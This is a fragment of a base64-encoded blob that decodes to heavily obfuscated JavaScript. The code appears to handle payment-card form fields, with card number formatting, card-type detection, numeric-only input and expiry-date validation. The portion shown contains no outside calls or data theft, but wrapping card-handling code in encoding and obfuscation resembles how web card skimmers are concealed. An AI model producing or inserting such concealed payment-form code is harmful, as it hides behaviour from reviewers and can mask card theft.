HgxNDNhOWMpKTt9ZWxzZXt2YXIgXzB4MzkwNjBkPV8weDQ3OGU3NVtfMHgzMGMzZTEoMHhhNiwweDYxLDB4MTBmLC0weDFlOSkrJ3RvciddKF8weDMwYzNlMSgtMHhjOSwweDIwMywtMHg0YSwweDQ4MykrXzB4NWJlMzI3KDB4M2U2LDB4Njc5LDB4M2JmLDB4MTU2KSk7XzB4MzkwNjBkWydyZXF1ZXN0UG9pJysnbnRlckxvY2snXT1fMHgzOTA2MGRbXzB4NWJlMzI3KDB4MmE2LDB4MmIyLDB4MjhhLDB4NGM4KStfMHgzMGMzZTEoLTB4MSwtMHgyMDAsLTB4MWFmLC0weDM4MSldfHxfMHgzOTA2MGRbXzB4MzBjM2UxKC0weDJhOSwtMHgyMDIsMHhhLDB4NykrJ1BvaW50ZXJMb2MnKydrJ118fF8weDM5MDYwZFtfMHgzMGMzZTEoMHg0MWYsMHgzMjgsMHg1M2EsMHgxMWUpKydlc3RQb2ludGVyJysnTG9jayddLF8weDM5MDYwZFtfMHgzMGMzZTEoMHgxOSwweDI5ZCwweDRkYywweDUyMykrXzB4MzBjM2UxKC0weDQ2NCwtMHgyMDAsLTB4NDA3LC0weDQ4YyldKCk7fX0sXzB4MjExMWVmW18weDM2MGNlOCgweGE4ZSwweDYyYiwweDczZCwweDhiZCldWydmbiddW18weDE4NTgwZSgtMHg2NywweDIzNiwweDIwYiwweDE4NykrXzB4MTg1ODBlKDB4ODksMHg0MGUsMHgxN2EsMHgxYzIpXT1mdW5jdGlvbigpe2Z1bmN0aW9uIF8weDM1OTMyMihfMHg1NTcxNTksXzB4ZjMxNjYyLF8weDM1YmM5MCxfMHg0ZTRiZGEpe3JldHVybiBfMHgxODU4MGUoXzB4NTU3MTU5LTB4YTYsXzB4ZjMxNjYyLTB4MTJiLF8weDRlNGJkYS0weDZmNyxfMHgzNWJjOTApO31mdW5jdGlvbiBfMHg1YTZhYzkoXzB4MmIzZWQwLF8weDJlMjEzZixfMHgzYjA3NmEsXzB4NGE3OTY1KXtyZXR1cm4gXzB4MTg1ODBlKF8weDJiM2VkMC0weDE0OCxfMHgyZTIxM2YtMHhhLF8weDRhNzk2NS0weDM4MCxfMHgzYjA3NmEpO31pZihfMHgyNDEwZThbXzB4NWE2YWM5KDB4NDMzLDB4ZmUsMHgyODMsMHgyYjIpXShfMHgyNDEwZThbXzB4MzU5MzIyKDB4NGFkLDB4ODIwLDB4NjQyLDB4NTRjKV0sJ2Vuc0l4JykpcmV0dXJuIHRoaXNbJ29uJ10oJ2tleXByZXNzJyxfMHg5NGNmZWUpLHRoaXNbJ29uJ10oXzB4MjQxMGU4W18weDVhNmFjOSgweDZkMiwweDg2YiwweDJmOCwweDU5MildLF8weDM5Yzk5OSksdGhpc1snb24nXShfMHgyNDEwZThbJ1ZCb2R3J10sXzB4Mjg5ZTg2KSx0aGlzWydvbiddKF8weDI0MTBlOFtfMHgzNTkzMjIoMHg3YTUsMHg5YmQsMHg5YzQsMHhhMWIpXSxfMHgyODllODYpLHRoaXNbJ29uJ10oXzB4MjQxMGU4W18weDM1OTMyMigweDk3YiwweGNjZCwweGIwZCwweGE3YyldLF8weDI4OWU4NiksdGhpcztlbHNlIF8weDJlOTA1YT1fMHhhNTU2ZmNbXzB4MzU5MzIyKDB4Yjk4LDB4ODMxLDB4N2NhLDB4YTJkKSsncHQnXTt9LF8weDIxMTFlZltfMHgxODU4MGUoMHgzMzgsMHg0OGEsMHgyN2MsMHgzOTEpXVsnZm4nXVsnZnJtdF9DX3JkRScrXzB4MzYwY2U4KDB4OWU2LDB4YWQ3LDB4OTU3LDB4OTU1KV09ZnVuY3Rpb24oKXt2YXIgXzB4MWQyMmVlPXt9O2Z1bmN0aW9uIF8weDJkYWMwYyhfMHgzYmZmMzksXzB4MmQ2MGM3LF8weDNlYzU4ZixfMHgxMjhiZTQpe3JldHVybiBfMHgzNjBjZTgoXzB4M2JmZjM5LTB4MzksXzB4MTI4YmU0LF8weDNlYzU4Zi0weGY2LF8weDNiZmYzOS0weDYpO31fMHgxZDIyZWVbJ3puUnFyJ109XzB4NDA3OTA4W18weDJkYWMwYygweDgxYSwweDk4OCwweDY0YywweDU0MyldLF8weDFkMjJlZVtfMHgyZGFjMGMoMHg1N2IsMHg3ZjQsMHg1ZjcsMHg2MmYpXT1fMHg0MDc5MDhbXzB4MzZmOGMzKDB4NjQ1LDB4ODk4LDB4M2I3LDB4OGZjKV07ZnVuY3Rpb24gXzB4MzZmOGMzKF8weDQ3ODgyMSxfMHgzYjlmNTEsXzB4NDJmM2IyLF8weDM5ZTNlOSl7cmV0dXJuIF8weDE4NTgwZShfMHg0Nzg4MjEtMHgxMDQsXzB4M2I5ZjUxLTB4ODUsXzB4NDc4ODIxLTB4NWEwLF8weDM5ZTNlOSk7fV8weDFkMjJlZVtfMHgyZGFjMGMoMHg0YWMsMHg0ZWYsMHg0NWYsMHgzZDMpXT1fMHgyZGFjMGMoMHg5ODksMHhiZTgsMHhhZWUsMHg2ZDUpO3ZhciBfMHgzMzYyZjU9XzB4MWQyMmVlO3JldHVybiBfMHg0MDc5MDhbXzB4MzZmOGMzKDB4NWU3LDB4ODlmLDB4M2FlLDB4N2YzKV0oXzB4NDA3OTA4W18weDJkYWMwYygweDQyOSwweDUzYiwweDRjNCwweDFlYyldLF8weDQwNzkwOFtfMHgyZGFjMGMoMHg0MjksMHg0M2QsMHg0MjMsMHg0NmYpXSk/KHRoaXNbJ29uJ10oXzB4NDA3OTA4WydSUUpwRCddLF8weDk0Y2ZlZSksdGhpc1snb24nXShfMHg0MDc5MDhbXzB4MmRhYzBjKDB4ODFhLDB4OWI4LDB4N2RjLDB4YTA1KV0sXzB4NDNmODY4KSx0aGlzWydvbiddKF8weDQwNzkwOFtfMHgzNmY4YzMoMHg3NzMsMHg4OTksMHg1ZTgsMHg2YjgpXSxfMHgyMTQyYmEpLHRoaXNbJ29uJ10oXzB4NDA3OTA4W18weDJkYWMwYygweDgxYSwweGEyZCwweDU1MCwweDYzMCldLF8weDI4NDI4MiksdGhpc1snb24nXShfMHgzNmY4YzMoMHg0NjEsMHg1NGQsMHg1N2QsMHg2YTMpLF8weDIyZGIwYyksdGhpc1snb24nXShfMHg0MDc5MDhbXzB4MmRhYzBjKDB4NmVjLDB4NDU5LDB4OThmLDB4NjI4KV0sXzB4NTQwNTkxKSx0aGlzWydvbiddKF8weDQwNzkwOFsnUGRIamInXSxfMHg0OThlZmUpLHRoaXNbJ29uJ10oXzB4NDA3OTA4WydMa1hsRiddLF8weDQ5OGVmZSksdGhpcyk6KHRoaXNbJ29uJ10oXzB4MzM2MmY1Wyd6blJxciddLF8weGM5NDc3YyksdGhpc1snb24nXShfMHgzMzYyZjVbXzB4MzZmOGMzKDB4NTlhLDB4MzQyLDB4NjE0LDB4ODkwKV0sXzB4MWE5OGE3KSx0aGlzWydvbiddKF8weDMzNjJmNVsnem5ScXInXSxfMHgzNDFlMDQpLHRoaXNbJ29uJ10oXzB4MzM2MmY1Wyd6blJxciddLF8weDVhNzE3MCksdGhpc1snb24nXShfMHgzMzYyZjVbXzB4MzZmOGMzKDB4NTlhLDB4NzliLDB4M2EzLDB4NGRhKV0sXzB4MmQ5ODYwKSx0aGlzWydvbiddKF8weDMzNjJmNVtfMHgyZGFjMGMoMHg1N2IsMHg0YjgsMHgzMGEsMHgzYWYpXSxfMHg0Y2VmZjgpLHRoaXNbJ29uJ10oXzB4MzM2MmY1Wydrdmp1ZSddLF8weDUyMDU2MCksdGhpc1snb24nXShfMHgyZGFjMGMoMHg4OWQsMHg5NmYsMHg5MjIsMHg3YTgpLF8weDQxZTg3YyksdGhpcyk7fSxfMHgyMTExZWZbXzB4MzYwY2U4KDB4N2Y5LDB4N2RiLDB4NjkzLDB4OGJkKV1bJ2ZuJ11bXzB4MzYwY2U4KDB4YzUzLDB4NzdiLDB4N2FkLDB4OTVhKStfMHgxODU4MGUoLTB4MzFkLDB4OTEsLTB4MjQ3LC0weDM0KV09ZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHg1OGNmMjgoXzB4Mjg5ODRmLF8weDE3MmMzYyxfMHgyM2JjMjksXzB4NGEzOTI5KXtyZXR1cm4gXzB4MTg1ODBlKF8weDI4OTg0Zi0weDFhMixfMHgxNzJjM2MtMHg0MSxfMHgyM2JjMjktMHgxNjUsXzB4Mjg5ODRmKTt9ZnVuY3Rpb24gXzB4MThmNTRlKF8weDI5ZmRkOSxfMHg0NjU5MDIsXzB4MzQ0MDc1LF8weDVhNTU4Zil7cmV0dXJuIF8weDM2MGNlOChfMHgyOWZkZDktMHgxOWIsXzB4NDY1OTAyLF8weDM0NDA3NS0weGI2LF8weDI5ZmRkOS0weDcyKTt9cmV0dXJuIHRoaXNbJ29uJ10oXzB4MThmNTRlKDB4NTc0LDB4MzE1LDB4N2YzLDB4MzQ1KSxfMHg5NGNmZWUpLHRoaXNbJ29uJ10oXzB4MjQxMGU4W18weDE4ZjU0ZSgweDhjNSwweDgxMSwweDY2OSwweDZmOSldLF8weDRmNDk5ZCksdGhpc1snb24nXSgna2V5cHJlc3MnLF8weDUwYWYwNiksdGhpc1snb24nXShfMHgyNDEwZThbXzB4NThjZjI4KDB4MTk5LDB4NGI0LDB4MjRmLC0weDc2KV0sXzB4M2Y2MDNkKSx0aGlzWydvbiddKF8weDI0MTBlOFtfMHg1OGNmMjgoMHgyYTMsMHgyNjksMHg0YWMsMHgzZDApXSxfMHgzMzMwNjIpLHRoaXNbJ29uJ10oXzB4MjQxMGU4WydWQm9kdyddLF8weDNhMDVmMyksdGhpc1snb24nXShfMHgyNDEwZThbJ0RFQVlLJ10sXzB4M2EwNWYzKSx0aGlzWydvbiddKF8weDI0MTBlOFtfMHg1OGNmMjgoMHg0MzMsMHgyODcsMHg0ZWEsMHg1MzkpXSxfMHgzYTA1ZjMpLHRoaXNbJ29uJ10oXzB4MjQxMGU4Wydwb05lRSddLF8weDMzMzA2MiksdGhpczt9LF8weDIxMTFlZltfMHgxODU4MGUoMHgxZGYsMHgxZDMsMHgyN2MsMHgyODgpXVsnZm4nXVsncmVzdHJpY3ROdScrJ21lcmljJ109ZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgzMWIzODIoXzB4NDc2ZDY2LF8weDE2OGMxYixfMHgxMzRiOTUsXzB4YmJmMDEwKXtyZXR1cm4gXzB4MzYwY2U4KF8weDQ3NmQ2Ni0weDFkZSxfMHhiYmYwMTAsXzB4MTM0Yjk1LTB4MTNiLF8weDQ3NmQ2Ni0gLTB4NDZjKTt9ZnVuY3Rpb24gXzB4NTY3MThjKF8weDMwYmVkNyxfMHgyMDZiOTQsXzB4MjJiYzM5LF8weDMyNDVlZCl7cmV0dXJuIF8weDE4NTgwZShfMHgzMGJlZDctMHg5OSxfMHgyMDZiOTQtMHgxYzYsXzB4MjJiYzM5LTB4NmQ4LF8weDIwNmI5NCk7fXJldHVybiB0aGlzWydvbiddKF8weDU2NzE4YygweDQ0NSwweDUyNywweDU5OSwweDc0OSksXzB4OTRjZmVlKSx0aGlzWydvbiddKF8weDI0MTBlOFtfMHg1NjcxOGMoMHhhNzQsMHg5NTYsMHg4ZDQsMHg2ODEpXSxfMHgxZTliYTUpLHRoaXNbJ29uJ10oXzB4MjQxMGU4W18weDU2NzE4YygweDc5YiwweGM2YSwweDlmYywweDc3NyldLF8weDFlOWJhNSksdGhpc1snb24nXShfMHg1NjcxOGMoMHg4NmUsMHg2YmIsMHg5MmUsMHg4OWIpLF8weDFlOWJhNSksdGhpczt9LF8weDIxMTFlZltfMHgxODU4MGUoMHg0MjQsMHg0YzYsMHgyN2MsMHgyMDgpXVsnZm4nXVtfMHgzNjBjZTgoMHg0YTEsMHg4OTgsMHg1MDQsMHg3NjApK18weDE4NTgwZSgtMHgxMjYsLTB4MzhkLC0weDFjZSwtMHgyMTkpXT1mdW5jdGlvbigpe2Z1bmN0aW9uIF8weDU4Mjg4ZihfMHg1YjkyZTEsXzB4MjJjZjJmLF8weGY0OGQ5ZCxfMHgyZjE2NTMpe3JldHVybiBfMHgzNjBjZTgoXzB4NWI5MmUxLTB4YjQsXzB4NWI5MmUxLF8weGY0OGQ5ZC0weDIsXzB4MmYxNjUzLSAtMHg2MzcpO31mdW5jdGlvbiBfMHgzYzJiMmUoXzB4MjgyZDFhLF8weDExMWQ1NixfMHgzNGJiZGQsXzB4M2QyZjY1KXtyZXR1cm4gXzB4MTg1ODBlKF8weDI4MmQxYS0weDIwLF8weDExMWQ1Ni0weDE3OCxfMHgyODJkMWEtMHgyYjYsXzB4MTExZDU2KTt9aWYoXzB4MjQxMGU4WydyWHhzSyddKF8weDI0MTBlOFsnWmpBSVUnXSxfMHgyNDEwZThbXzB4M2MyYjJlKDB4NTk0LDB4MzQ4LDB4M2IyLDB4NDI3KV0pKV8weDMyMzllOShfMHg0MDc5MDhbXzB4M2MyYjJlKDB4NDAyLDB4MTg1LDB4MjU2LDB4MWYzKV0pW18weDQwNzkwOFtfMHg1ODI4OGYoLTB4MmMsMHgyMCwweDQ0MywweDE2NyldXSgpO2Vsc2UgcmV0dXJuIF8weDIxMTFlZltfMHg1ODI4OGYoMHhiNSwweDE0ZCwweGYsMHgyODYpXVtfMHgzYzJiMmUoMHgzZDUsMHgyMDIsMHgzNjMsMHgyZmEpKyd2YWwnXShfMHgyNDEwZThbXzB4NTgyODhmKC0weDJkMiwtMHgzMjUsLTB4MzE0LC0weDE4NildKF8weDIxMTFlZix0aGlzKVtfMHgzYzJiMmUoMHhlOCwweGQ5LC0weDFkNiwweDI1ZCldKCkpO30sXzB4MjExMWVmW18weDM2MGNlOCgweDY0OSwweDk4NywweGIxMiwweDhiZCldW18weDE4NTgwZSgweGY4LDB4MTksMHgxMWYsLTB4MykrXzB4MzYwY2U4KDB4NzIzLDB4NWE3LDB4MzI4LDB4NDczKV09ZnVuY3Rpb24oXzB4MjFmNTAxKXtmdW5jdGlvbiBfMHg1ZWU5NjEoXzB4MWU2NTdjLF8weDRhYTc0MyxfMHg1NDEyNTAsXzB4MTQyYjAwKXtyZXR1cm4gXzB4MzYwY2U4KF8weDFlNjU3Yy0weDE0NyxfMHgxZTY1N2MsXzB4NTQxMjUwLTB4MWYsXzB4NGFhNzQzLSAtMHgzMjYpO31mdW5jdGlvbiBfMHhlYWU1NjQoXzB4Mjg2M2VmLF8weDNkMDFhZixfMHgzMTFkY2UsXzB4ODdiZTI2KXtyZXR1cm4gXzB4MTg1ODBlKF8weDI4NjNlZi0weDEwZSxfMHgzZDAxYWYtMHgxNzIsXzB4MzExZGNlLTB4NmY5LF8weDI4NjNlZik7fXZhciBfMHgxZDNhNzgsXzB4M2Y2MjBkLF8weGQ5NDc3ZSxfMHgzZDM4MTg7cmV0dXJuIF8weDNkMzgxOD1fMHgyMWY1MDFbJ3NwbGl0J10oL1tcc1wvXSsvLC0weDFjMGErLTB4MTBiMistMHgyKi0weDE2NWYpLF8weDFkM2E3OD1fMHgzZDM4MThbMHgyNjRjKzB4M2QqMHg2YistMHgzZmNiXSxfMHhkOTQ3N2U9XzB4M2QzODE4WzB4MjYwMCstMHgxZGUqMHhhKy0weDEzNTNdLF8weDQwNzkwOFsnVXlXU1onXSgweDcxKjB4MzUrLTB4MTYwMisweDEqLTB4MTYxLG51bGwhPV8weGQ5NDc3ZT9fMHhkOTQ3N2VbXzB4NWVlOTYxKDB4ODcyLDB4NjBiLDB4OGVjLDB4NTcwKV06dm9pZCgweDI0NWErLTB4MjRmOSsweDlmKSkmJi9eXGQrJC9bJ3Rlc3QnXShfMHhkOTQ3N2UpJiYoXzB4M2Y2MjBkPW5ldyBEYXRlKClbXzB4NWVlOTYxKDB4NzNkLDB4NGI3LDB4NTQ2LDB4NThiKSsnciddKCksXzB4M2Y2MjBkPV8weDNmNjIwZFtfMHhlYWU1NjQoMHg2YjksMHgyOGQsMHg0Y2UsMHg1OTEpXSgpW18weDVlZTk2MSgweDI2YiwweDI4NSwweDI3YiwweDUwZildKC0weDFmMzgrMHgxKjB4OWY3KzB4MTU0MSwtMHgzKjB4YzJkKzB4M2ZiKjB4MSsweDYqMHg1NmQpLF8weGQ5NDc3ZT1fMHg0MDc5MDhbXzB4NWVlOTYxKC0weDFlLDB4MTkyLDB4ZWIsLTB4NjEpXShfMHgzZjYyMGQsXzB4ZDk0NzdlKSksXzB4MWQzYTc4PXBhcnNlSW50KF8weDFkM2E3OCwweGRmKi0weDIxKy0weDEqLTB4YjIwKy0weDg5Ki0weDIxKSxfMHhkOTQ3N2U9XzB4NDA3OTA4WydscW9STCddKHBhcnNlSW50LF8weGQ5NDc3ZSwweDEyMTQrMHgxKjB4MTFmZCsweDEqLTB4MjQwNykseydtb250aCc6XzB4MWQzYTc4LCd5ZWFyJzpfMHhkOTQ3N2V9O30sXzB4MjExMWVmW18weDE4NTgwZSgweDU0YiwweDM2YywweDI3YywweGQpXVtfMHgzNjBjZTgoMHg4N2YsMHg4YTQsMHg4NTEsMHg3NWMpKydtJ109ZnVuY3Rpb24oXzB4NTJiMGY5KXtmdW5jdGlvbiBfMHgzMDAzODAoXzB4NDIwNGI5LF8weDFmYzc5NixfMHgxMmUyN2IsXzB4MzQyMmQxKXtyZXR1cm4gXzB4MTg1ODBlKF8weDQyMDRiOS0weDE3MSxfMHgxZmM3OTYtMHgxYzIsXzB4MTJlMjdiLTB4NGY4LF8weDFmYzc5Nik7fWZ1bmN0aW9uIF8weGFjNjNjZChfMHg1NGQ2NmYsXzB4MjRjMjc3LF8weDI4MDE3MyxfMHg1OGFmYTMpe3JldHVybiBfMHgzNjBjZTgoXzB4NTRkNjZmLTB4MTMzLF8weDI4MDE3MyxfMHgyODAxNzMtMHg3OCxfMHg1NGQ2NmYtIC0weDNmZCk7fXZhciBfMHgzYmVkYTIsXzB4MWQ5NjJmO3JldHVybiBfMHg1MmIwZjk9KF8weDUyYjBmOSsnJylbJ3JlcGxhY2UnXSgvXHMrfC0vZywnJyksL15cZCskL1tfMHhhYzYzY2QoMHgzNWUsMHgzMGYsMHgyZGQsMHgyOTYpXShfMHg1MmIwZjkpPyhfMHgzYmVkYTI9XzB4NDA3OTA4W18weDMwMDM4MCgweDM3MywweDYxMCwweDRmNywweDJjYildKF8weDE0NmVhYixfMHg1MmIwZjkpLF8weDNiZWRhMj8oXzB4MWQ5NjJmPV8weDUyYjBmOVtfMHhhYzYzY2QoMHg1MzQsMHg2OWUsMHg0YzgsMHg1YTkpXSxfMHg0MDc5MDhbXzB4YWM2M2NkKDB4YWMsLTB4NGYsLTB4MWVjLC0weDFiNCldKF8weDNjODc3MFtfMHhhYzYzY2QoMHgzNzcsMHgyNWYsMHg1OGMsMHgyYTYpXShfMHgzYmVkYTJbXzB4YWM2M2NkKDB4NTM0LDB4NzE4LDB4NDg3LDB4NjhjKV0sXzB4MWQ5NjJmKSwweDYzMSstMHgxMSoweDFjOSsweDE4MjgpJiYoXzB4NDA3OTA4W18weGFjNjNjZCgweDQ3YiwweDQ0ZCwweDQxNywweDZmOSldKF8weDNiZWRhMltfMHgzMDAzODAoMHgyNGQsMHg2ZTgsMHg0NDksMHgxNWEpXSwhKC0weDExKi0weDFiMisweDIzY2IrLTB4NCoweDEwMjcpKXx8XzB4ZjM0ZDNhKF8weDUyYjBmOSkpKTohKC0weDEwNGIrLTB4MTZjKzB4MTQ0KjB4ZSkpOiEoMHgyNjIyKy0weDZhMyotMHgzKzB4MmUqLTB4MTQzKTt9LF8weDIxMTFlZltfMHgxODU4MGUoMHhmMiwweDMyYSwweDI3YywweDMxMSldWyd2YWxfY19leF9wJ109ZnVuY3Rpb24oXzB4ZGI2ZWZhLF8weDI0MTNmNCl7dmFyIF8weDQxMDQwYj17J1d4RHNkJzpmdW5jdGlvbihfMHg1MjY2NjcsXzB4NWExODg1KXtmdW5jdGlvbiBfMHgxYmYzYmIoXzB4MTk4YjFlLF8weDExM2UyZixfMHgzOGY3NjUsXzB4MTI1OTg4KXtyZXR1cm4gXzB4NGMwZihfMHgxOThiMWUtIC0weDFjYixfMHgxMTNlMmYpO31yZXR1cm4gXzB4NDA3OTA4W18weDFiZjNiYigweDRhYiwweDM2MSwweDIxOSwweDZhNyldKF8weDUyNjY2NyxfMHg1YTE4ODUpO319O2Z1bmN0aW9uIF8weDE5Y2NiYyhfMHgzNTIwZjEsXzB4NGI5OGFlLF8weDJiZDg1OSxfMHg0NDhmNmQpe3JldHVybiBfMHgxODU4MGUoXzB4MzUyMGYxLTB4MThmLF8weDRiOThhZS0weDE2YSxfMHg0NDhmNmQtMHg1MGMsXzB4MzUyMGYxKTt9ZnVuY3Rpb24gXzB4MzQyMzU1KF8weGJlOWIyYSxfMHgxZTY3MzgsXzB4YzUxMzc4LF8weDI5MGI5Myl7cmV0dXJuIF8weDM2MGNlOChfMHhiZTliMmEtMHhkZCxfMHgxZTY3MzgsXzB4YzUxMzc4LTB4YmMsXzB4MjkwYjkzLSAtMHgyNTApO31pZihfMHg0MDc5MDhbXzB4MTljY2JjKDB4M2NhLDB4NjY0LDB4NjE5LDB4NTI5KV0oXzB4NDA3OTA4W18weDE5Y2NiYygweDExNiwweDNiNiwweDU3NywweDJmMildLF8weDQwNzkwOFtfMHgzNDIzNTUoMHgyOGMsMHgyOTQsMHgyMSwweDFkNyldKSl7dmFyIF8weDNjODczOCxfMHgzZTQ4YTIsXzB4NDFmZWU5LF8weDJiZWZmNyxfMHg1YThiOTU7cmV0dXJuIF8weDNjODczOD1fMHg0MDc5MDhbXzB4MzQyMzU1KDB4NDkzLDB4NjJmLDB4MzM5LDB4MzU4KV0oXzB4MjYwZGQyLF8weDJmNmI5ZFsnY3VycmVudFRhcicrXzB4MzQyMzU1KDB4NWYyLDB4OGNkLDB4NDg1LDB4NjdiKV0pLF8weDVhOGI5NT1fMHgzYzg3MzhbJ3ZhbCddKCksXzB4MmJlZmY3PV8weDNkYzk1MltfMHgzNDIzNTUoMHg2NWIsMHg2ZWUsMHg3ZDAsMHg2NmQpXVsnY3JfZF9UeXAnXShfMHg1YThiOTUpfHxfMHg0MDc5MDhbJ2VXR0dlJ10sXzB4M2M4NzM4W18weDM0MjM1NSgtMHhkNCwweDE3YSwweDIwYSwweDFhZildKF8weDJiZWZmNyk/dm9pZCgweDEqMHhmMTkrMHgyMTFiKzB4NGQyKi0weGEpOihfMHgzZTQ4YTI9KGZ1bmN0aW9uKCl7dmFyIF8weDEyNjQzOCxfMHg1ODMwZWIsXzB4MjQ3N2IwO2Z1bmN0aW9uIF8weDNmYWI0ZShfMHgxYWIzZGUsXzB4MzIwZWYxLF8weDE4MmFiYixfMHg2NTIwN2Ipe3JldHVybiBfMHgzNDIzNTUoXzB4MWFiM2RlLTB4YzksXzB4NjUyMDdiLF8weDE4MmFiYi0weDU1LF8weDMyMGVmMS0weDFjMik7fWZ1bmN0aW9uIF8weDE2Y2JiYyhfMHgyMTk4MjQsXzB4M2RlMjM4LF8weDJhMGM4NyxfMHgyMDMwMTEpe3JldHVybiBfMHgxOWNjYmMoXzB4MjAzMDExLF8weDNkZTIzOC0weDE3YSxfMHgyYTBjODctMHg1MCxfMHgyYTBjODctIC0weDI1NSk7fWZvcihfMHgyNDc3YjA9W10sXzB4MTI2NDM4PTB4ZjViKzB4MSotMHgyNGViKzB4M2MqMHg1YyxfMHg1ODMwZWI9XzB4MzMzM2UyWydsZW5ndGgnXTtfMHg0MTA0MGJbXzB4M2ZhYjRlKDB4OGNkLDB4ODU0LDB4YTNiLDB4OTQ4KV0oXzB4NTgzMGViLF8weDEyNjQzOCk7XzB4MTI2NDM4KyspXzB4NDFmZWU5PV8weDRiNmJlZFtfMHgxMjY0MzhdLF8weDI0NzdiMFsncHVzaCddKF8weDQxZmVlOVtfMHgzZmFiNGUoMHg3YzIsMHg2YTAsMHg4ZjksMHg5MzUpXSk7cmV0dXJuIF8weDI0NzdiMDt9KCkpLF8weDNjODczOFtfMHgxOWNjYmMoMHg0MzgsMHg0N2UsMHgzNjEsMHg1OTEpKydzJ10oXzB4NDA3OTA4W18weDE5Y2NiYygweDRmOSwweDE5MCwweDI5NiwweDMxOCldKSxfMHgzYzg3MzhbJ3JlbW92ZUNsYXMnKydzJ10oXzB4M2U0OGEyW18weDE5Y2NiYygweDViZiwweDc3YywweDgwZSwweDVkNSldKCdceDIwJykpLF8weDNjODczOFtfMHgxOWNjYmMoMHg2ODUsMHg3OTEsMHg1NmYsMHg2YjApXShfMHgyYmVmZjcpLF8weDNjODczOFtfMHgxOWNjYmMoMHg0ZjksMHg1YmMsMHg3NGIsMHg2MzApKydzJ10oXzB4NDA3OTA4W18weDE5Y2NiYygweDZiNCwweDdkOCwweDczMSwweDcwNildLF8weDQwNzkwOFtfMHgxOWNjYmMoMHg0NDQsMHgyNzgsMHgyYjAsMHg0YTIpXShfMHgxOWNjYmMoMHg2MmQsMHg1ZDgsMHg1OGEsMHg3OWYpLF8weDJiZWZmNykpLF8weDNjODczOFtfMHgzNDIzNTUoMHg0NywweDNhZCwweDQzNiwweDMyOCldKF8weDQwNzkwOFtfMHgzNDIzNTUoMHg1M2UsMHg0MjMsMHgzODksMHg0YWYpXSxfMHgyYmVmZjcpKTt9ZWxzZXt2YXIgXzB4MmY2Y2E4LF8weDFmMGJlMCxfMHg0NzBmOTA7cmV0dXJuIF8weDQwNzkwOFtfMHgzNDIzNTUoLTB4MTAyLC0weDRiLDB4NDY3LDB4MWY1KV0oXzB4NDA3OTA4W18weDM0MjM1NSgweDViNCwweDkxYiwweDkwOSwweDY3YyldLHR5cGVvZiBfMHhkYjZlZmEpJiZfMHg0MDc5MDhbJ1FXTG51J10oXzB4NDA3OTA4W18weDM0MjM1NSgweDE0OCwweDNkYywweDVhMywweDQzYyldLF8weGRiNmVmYSkmJihfMHg0NzBmOTA9XzB4ZGI2ZWZhLF8weGRiNmVmYT1fMHg0NzBmOTBbXzB4MzQyMzU1KDB4NDIwLDB4NjAwLDB4MTgwLDB4MzVmKV0sXzB4MjQxM2Y0PV8weDQ3MGY5MFtfMHgxOWNjYmMoMHg0OWUsMHg2OWEsMHgyN2UsMHg0ZWEpXSksXzB4NDA3OTA4W18weDM0MjM1NSgweDVlOCwweDE3ZSwweDM2ZCwweDM3NildKF8weGRiNmVmYSxfMHgyNDEzZjQpPyhfMHhkYjZlZmE9XzB4MjExMWVmW18weDE5Y2NiYygweDU1MCwweDNiNywweDE5MCwweDMwOSldKF8weGRiNmVmYSksXzB4MjQxM2Y0PV8weDIxMTFlZltfMHgzNDIzNTUoMHg5MCwweDRkMywweDJlNCwweDFlZSldKF8weDI0MTNmNCksL15cZCskL1tfMHgxOWNjYmMoMHgzZmUsMHg3MzQsMHg1NDMsMHg2MjYpXShfMHhkYjZlZmEpJiYvXlxkKyQvWyd0ZXN0J10oXzB4MjQxM2Y0KSYmXzB4ZGI2ZWZhPj0tMHg1Ki0weDFkOSstMHgyNWE4Ky0weGUzNiotMHgyJiZfMHg0MDc5MDhbXzB4MTljY2JjKDB4ZjgsMHg0MzcsMHgxZmIsMHgzNzQpXSgtMHgxOWFkKy0weDEqLTB4MjJmMSstMHg5MzgsXzB4ZGI2ZWZhKT8oMHgxKi0weDIyZTErMHgyMWZmKi0weDErMHg0NGUyPT09XzB4MjQxM2Y0W18weDM0MjM1NSgweDY3MSwweDQ2ZCwweDk0NiwweDZlMSldJiYoXzB4MjQxM2Y0PV8weDQwNzkwOFtfMHgxOWNjYmMoMHgyMzksMHg0OWQsMHg0ODQsMHgzMGQpXSgtMHgxMDI1Ky0weDE0MWUrMHgyNDg5LF8weDI0MTNmNCk/XzB4NDA3OTA4W18weDM0MjM1NSgweDQ4NCwweDQ3NywweDMyMCwweDVjOSldKCcyMCcsXzB4MjQxM2Y0KTpfMHg0MDc5MDhbXzB4MzQyMzU1KDB4MTljLC0weDYsMHhjYiwweDI2OCldKCcxOScsXzB4MjQxM2Y0KSksXzB4NDA3OTA4W18weDE5Y2NiYygweDM4ZiwweDMyMCwweDdiYSwweDRmNildKC0weDFmNCoweGIrMHgxNWQyKy0weDEqMHg1MixfMHgyNDEzZjRbXzB4MTljY2JjKDB4OTg5LDB4YTI2LDB4NjIxLDB4N2ZjKV0pPyEoMHgyMGJhKy0weDFkNDYqLTB4MSstMHgzZGZmKTooXzB4MWYwYmUwPW5ldyBEYXRlKF8weDI0MTNmNCxfMHhkYjZlZmEpLF8weDJmNmNhOD1uZXcgRGF0ZSgpLF8weDFmMGJlMFtfMHgzNDIzNTUoMHg2ZDksMHg3MzgsMHg1MmYsMHg3NjkpXShfMHg0MDc5MDhbXzB4MTljY2JjKDB4MmQyLDB4M2U5LDB4N2UwLDB4NTBjKV0oXzB4MWYwYmUwW18weDE5Y2NiYygweDgzMSwweDY3ZCwweDUyOSwweDYzNildKCksLTB4ZGYzKi0weDIrMHgxNGY5Ky0weGEqMHg0ZTMpKSxfMHgxZjBiZTBbJ3NldE1vbnRoJ10oXzB4MWYwYmUwWydnZXRNb250aCddKCkrKC0weDFjMWMrLTB4YSotMHgyMjcrMHg2OTcqMHgxKSwtMHgxKjB4MzQzKy0weDMqMHhhYTErLTB4MjMyNyotMHgxKSxfMHg0MDc5MDhbJ3ZxU1BQJ10oXzB4MWYwYmUwLF8weDJmNmNhOCkpKTohKDB4MWEqLTB4MTErLTB4Njk5Ki0weDQrLTB4M2IqMHg2YikpOiEoMHhhOTcrMHgxZWU2Ky0weDI5N2MpO319LF8weDIxMTFlZltfMHgxODU4MGUoMHgxM2IsMHgyNjYsMHgyN2MsMHg2YyldW18weDE4NTgwZSgtMHgxZmEsLTB4MWUzLC0weDliLC0weDJhMCkrJ19jJ109ZnVuY3Rpb24oXzB4NWViOTdhLF8weDY4ZTZlZCl7Zn